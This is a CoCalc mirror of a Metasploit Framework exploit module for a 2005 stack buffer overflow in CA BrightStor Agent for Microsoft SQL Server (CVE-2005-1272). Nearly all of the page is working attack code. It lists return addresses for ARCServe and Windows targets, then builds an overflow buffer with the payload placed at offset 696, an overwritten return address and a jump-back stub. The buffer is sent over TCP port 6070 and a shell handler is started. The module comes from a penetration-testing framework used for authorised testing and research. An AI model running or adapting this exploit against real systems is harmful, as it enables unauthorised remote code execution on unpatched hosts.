CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/sql_agent.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',
14
'Description' => %q{
15
This module exploits a vulnerability in the CA BrightStor
16
Agent for Microsoft SQL Server. This vulnerability was
17
discovered by cybertronic[at]gmx.net.
18
},
19
'Author' => [ 'hdm' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2005-1272'],
24
[ 'OSVDB', '18501' ],
25
[ 'BID', '14453'],
26
[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
27
[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
28
],
29
'Privileged' => true,
30
'Payload' =>
31
{
32
'Space' => 1000,
33
'BadChars' => "\x00",
34
'StackAdjustment' => -3500,
35
},
36
'Platform' => %w{ win },
37
'Targets' =>
38
[
39
# This exploit requires a jmp esp for return
40
['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
41
['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
42
['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret
43
44
# Generic jmp esp's
45
['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
46
['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
47
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
48
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
49
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
50
['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
51
],
52
'DisclosureDate' => '2005-08-02',
53
'DefaultTarget' => 0))
54
55
register_options(
56
[
57
Opt::RPORT(6070)
58
])
59
end
60
61
62
def exploit
63
64
print_status("Trying target #{target.name}...")
65
66
# The 'one line' request does not work against Windows 2003
67
1.upto(5) { |i|
68
69
# Flush some memory
70
connect
71
begin
72
sock.put("\xff" * 0x12000)
73
sock.get_once
74
rescue
75
end
76
disconnect
77
78
79
# 3288 bytes max
80
# 696 == good data (1228 bytes contiguous) @ 0293f5e0
81
# 3168 == return address
82
# 3172 == esp @ 0293ff8c (2476 from good data)
83
84
buf = rand_text_english(3288, payload_badchars)
85
buf[ 696, payload.encoded.length ] = payload.encoded
86
buf[3168, 4] = [target.ret].pack('V') # jmp esp
87
buf[3172, 5] = "\xe9\x4f\xf6\xff\xff" # jmp -2476
88
89
connect
90
begin
91
sock.put(buf)
92
sock.get_once
93
rescue
94
end
95
96
handler
97
disconnect
98
}
99
end
100
end
101
102